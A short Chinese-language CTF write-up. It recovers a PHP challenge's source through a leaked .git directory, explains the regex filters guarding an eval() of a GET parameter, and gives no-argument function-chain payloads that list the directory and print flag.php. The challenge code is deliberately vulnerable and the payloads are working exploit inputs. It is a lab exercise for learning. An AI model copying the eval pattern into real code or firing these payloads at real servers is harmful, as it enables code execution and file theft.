image.png
扫描目录发现是.git泄露,使用GitHack得到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
1.需要以GET形式传入一个exp参数,如果满足条件,会执行这个参数的内容;
2.过滤了几个常用的伪协议;
3.(?R)?重复引用当前表达式(递归调用),所以exp必须要是a(b());这种类型的;
4.过滤了一些关键字,限制一些函数的使用;
localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
所以current(localeconv())=='.'  (永远是点)
scandir('.'):列出当前目录中的文件和目录。
array_reverse():将原数组中的元素顺序反转,创建新的数组并返回。
next():函数将内部指针指向数组的下一个元素,并输出。

先构造语句查看当前目录文件
?exp=print_r(scandir(current(localeconv())));
image.png
接着读取flag.php的内容
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
image.png